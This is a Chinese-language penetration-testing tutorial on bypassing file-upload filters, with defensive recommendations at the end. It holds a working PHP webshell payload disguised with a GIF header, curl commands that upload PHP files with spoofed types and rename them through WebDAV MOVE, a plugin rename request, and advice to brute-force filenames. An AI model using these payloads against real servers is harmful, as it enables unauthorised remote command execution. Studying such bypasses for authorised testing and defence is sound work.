文件上传过滤绕过矩阵
文件上传漏洞的关键不是“传上去”,而是 落地的文件能被当成脚本解析,且能定位到最终路径。服务端过滤通常只覆盖扩展名、Content-Type、magic bytes 三维中的一两维,测试方法就是把三维组合逐一试一遍。
上传测试会写入 Web 可访问文件,只能在授权靶场或明确授权的范围内进行,测试后及时清理。
过滤矩阵测试法
以“扩展名 × Content-Type × magic bytes”为三个维度,逐一组合并记录响应差分:
| # | 扩展名 | Content-Type | 文件头 | 目的 |
|---|---|---|---|---|
| 1 | shell.php | application/x-php | <?php | 基线,确认有无过滤 |
| 2 | shell.php | image/png | <?php | 测是否只校验扩展名 |
| 3 | shell.jpg | image/png | GIF89a + <?php | 测 magic bytes 校验强度 |
| 4 | shell.phtml | image/png | <?php | 测黑名单覆盖面 |
哪一组开始被拒、哪一组通过,就能反推出服务端校验的具体维度和弱点。
方法 A:黑名单遗漏扩展
黑名单式校验(禁止 .php)几乎必然遗漏同族扩展。Apache 环境下 .phtml、.phar 等扩展同样会按 PHP 解析,常不在黑名单内:
shell.phtml
shell.phar
方法 B:Content-Type-only 校验
服务端只检查请求里的 Content-Type 时,直接改成图片类型即可通过:
curl -sS -F "[email protected];type=image/png" http://target/upload
filename 保持 .php,配合 type=image/png 骗过校验。
方法 C:magic bytes 伪装
服务端读取文件头做图片校验时,在文件头写入图片魔数,后面接 PHP 代码:
GIF89a
<?php system($_GET["cmd"]); ?>
GIF89a 让 getimagesize() 一类的检查通过;若解析引擎按扩展名处理,后续 PHP 代码照常执行。
方法 D:两步上传(先传后改名)
当上传接口限制死、但站点存在重命名功能(如插件后台的改名接口)时,分两步走:
- 先上传合法后缀文件(如
.txt或图片),绕过上传校验。 - 再通过重命名接口改后缀为
.php。
以某插件重命名接口为例,请求需要带齐 ID、目录、时间戳、token 等参数:
POST /wp-admin/admin-ajax.php
eeFileAction=Rename&...
这类接口的参数齐全性是关键,缺一个参数就可能只返回校验失败。
方法 E:WebDAV MOVE 改名
WebDAV 场景下 PUT 只允许 .html 时,先上传 HTML,再用 MOVE + Destination 头把文件改成 .php:
curl -sS -X PUT --data-binary '<html>test</html>' http://target/uploads/a.html
curl -sS -X MOVE -H 'Destination: http://target/uploads/a.php' http://target/uploads/a.html
服务端按 Destination 落盘,解析器按新扩展名处理。
命名规则探测
文件落地后常被服务端重命名(如 {timestamp}_{原名})。优先找目录列表(Index of /uploads/)直接确认文件名;没有列表时按命名规则 爆破时间戳区间,结合响应长度判断命中。定位不到最终路径,上传成功也等于失败,这一步不能省。
变体:解压型上传
后台支持上传 zip 并由服务端解压时,把 webshell 打进压缩包绕过扩展名校验,落地时释放 .php 文件。完整流程见:文件上传与 Zip 解压释放 WebShell。
复核要点
| 检查点 | 说明 |
|---|---|
| 三维是否都试过 | 扩展名、Content-Type、magic bytes 逐一差分 |
| 解析环境 | Apache/Nginx 决定哪些扩展名会被执行 |
| 最终路径 | 重命名规则必须先摸清,再谈利用 |
| 权限要求 | 重命名/MOVE 类手法通常需要登录态或 CSRF token |
| 清理 | 测试文件记录清单,验证完成后删除 |
防御建议
- 扩展名白名单校验,落地时重命名为随机文件名并剥离原始扩展名。
- 校验文件内容(magic bytes 与图片结构),而不是只看请求头。
- 上传目录禁用脚本执行(Web 服务器层面单独配置)。
- 上传文件隔离存储,与 Web 根目录分离,通过受控接口读取。
- 黑名单校验视为无效防线,任何“仅禁止若干扩展名”的实现都应重构。